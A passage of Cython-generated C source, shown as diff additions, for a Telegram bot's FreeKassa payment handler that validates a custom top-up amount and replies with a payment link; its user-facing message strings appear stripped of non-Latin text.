*)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 175, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_19generator5, __pyx_codeobj__19, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_19generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + Py_ssize_t __pyx_t_8; + Py_UCS4 __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L9_resume_from_await; + case 4: goto __pyx_L10_resume_from_await; + case 5: goto __pyx_L11_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 175, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":177 + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 177, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 177, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 177, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/freekassa_pay.py":178 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":179 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 179, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/freekassa_pay.py":180 + * amount = int(message.text) + * if amount <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * " . , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__20}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 180, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 180, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":183 + * " . , :" + * ) + * return # <<<<<<<<<<<<<< + * + * user_email = f"{message.chat.id}@solo.net" + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/freekassa_pay.py":179 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + } + + /* "handlers/payments/freekassa_pay.py":185 + * return + * + * user_email = f"{message.chat.id}@solo.net" # <<<<<<<<<<<<<< + * user_ip = message.chat.id + * payment_url = await create_payment(message.chat.id, amount, user_email, user_ip) + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_3, __pyx_kp_u_solo_net); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_user_email = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":186 + * + * user_email = f"{message.chat.id}@solo.net" + * user_ip = message.chat.id # <<<<<<<<<<<<<< + * payment_url = await create_payment(message.chat.id, amount, user_email, user_ip) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_user_ip = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":187 + * user_email = f"{message.chat.id}@solo.net" + * user_ip = message.chat.id + * payment_url = await create_payment(message.chat.id, amount, user_email, user_ip) # <<<<<<<<<<<<<< + * + * if payment_url: + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_create_payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 187, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 187, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[5] = {__pyx_t_2, __pyx_t_6, __pyx_cur_scope->__pyx_v_amount, __pyx_cur_scope->__pyx_v_user_email, __pyx_cur_scope->__pyx_v_user_ip}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 4+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 187, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 187, __pyx_L1_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 187, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":189 + * payment_url = await create_payment(message.chat.id, amount, user_email, user_ip) + * + * if payment_url: # <<<<<<<<<<<<<< + * keyboard = InlineKeyboardMarkup( + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] + */ + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_url); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 189, __pyx_L1_error) + if (__pyx_t_5) { + + /* "handlers/payments/freekassa_pay.py":190 + * + * if payment_url: + * keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/freekassa_pay.py":191 + * if payment_url: + * keyboard = InlineKeyboardMarkup( + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] # <<<<<<<<<<<<<< + * ) + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__22, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_7); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_7)) __PYX_ERR(0, 191, __pyx_L1_error); + __pyx_t_7 = 0; + __pyx_t_7 = PyList_New(1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_7, 0, __pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error); + __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_7) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":190 + * + * if payment_url: + * keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] + * ) + */ + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_keyboard = __pyx_t_7; + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":193 + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] + * ) + * await message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=keyboard, + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/freekassa_pay.py":194 + * ) + * await message.answer( + * f" {amount} . :", # <<<<<<<<<<<<<< + * reply_markup=keyboard, + * ) + */ + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = 0; + __pyx_t_9 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_9 = (65535 > __pyx_t_9) ? 65535 : __pyx_t_9; + __pyx_t_8 += 21; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u__14); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_9 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_9) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_9; + __pyx_t_8 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_9 = (65535 > __pyx_t_9) ? 65535 : __pyx_t_9; + __pyx_t_8 += 51; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__15); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_8, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":193 + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] + * ) + * await message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=keyboard, + */ + __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error); + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":195 + * await message.answer( + * f" {amount} . :", + * reply_markup=keyboard, # <<<<<<<<<<<<<< + * ) + * else: + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_keyboard) < 0) __PYX_ERR(0, 195, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":193 + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] + * ) + * await message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=keyboard, + */ + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L9_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 193, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 193, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":189 + * payment_url = await create_payment(message.chat.id, amount, user_email, user_ip) + * + * if payment_url: # <<<<<<<<<<<<<< + * keyboard = InlineKeyboardMarkup( + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] + */ + goto __pyx_L8; + } + + /* "handlers/payments/freekassa_pay.py":198 + * ) + * else: + * await message.answer(" . .") # <<<<<<<<<<<<<< + * + * else: + */ + /*else*/ { + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__16}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 198, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 198, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 198, __pyx_L1_error) + } + } + } + __pyx_L8:; + + /* "handlers/payments/freekassa_pay.py":177 + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/freekassa_pay.py":201 + * + * else: + * await message.answer(", .") # <<<<<<<<<<<<<< + */ + /*else*/ { + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__23}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L11_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 201, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 201, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":175 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + 